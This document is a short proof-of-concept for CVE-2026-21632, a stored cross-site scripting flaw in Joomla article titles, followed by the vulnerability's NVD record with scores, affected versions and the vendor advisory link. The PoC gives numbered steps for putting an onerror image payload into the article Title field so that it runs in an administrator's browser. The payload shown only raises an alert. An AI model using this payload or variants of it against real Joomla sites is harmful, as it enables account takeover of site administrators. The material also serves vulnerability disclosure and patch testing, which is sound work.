CVE-2026-21632

<!-- PoC for CVE-2026-21632: Stored XSS in Article Title --> <!-- Step 1: Log in as a user with permission to create articles (e.g., Author). --> <!-- Step 2: Navigate to Content -> Articles -> Add New Article. --> <!-- Step 3: Insert the following payload into the 'Title' field: --> <img src=x onerror=alert('CVE-2026-21632')> <!-- Step 4: Save the article. --> <!-- Step 5: Trigger: View the article list or the article page as a privileged user (e.g., Administrator). --> <!-- Result: The JavaScript alert will execute in the administrator's browser context. -->

{"cve": {"id": "CVE-2026-21632", "sourceIdentifier": "[email protected]", "published": "2026-04-01T10:16:16.250", "lastModified": "2026-04-09T19:59:20.373", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Lack of output escaping for article titles leads to XSS vectors in various locations."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:joomla:joomla\\!:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "5.4.4", "matchCriteriaId": "E21AF5F0-76B9-4F00-9055-A9F2A170253C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:joomla:joomla\\!:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndExcluding": "6.0.4", "matchCriteriaId": "B61EE37B-A751-48E2-BDBE-6A6EC5499798"}]}]}], "references": [{"url": "https://developer.joomla.org/security-centre/1030-20260304-core-xss-vectors-in-various-article-title-outputs.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}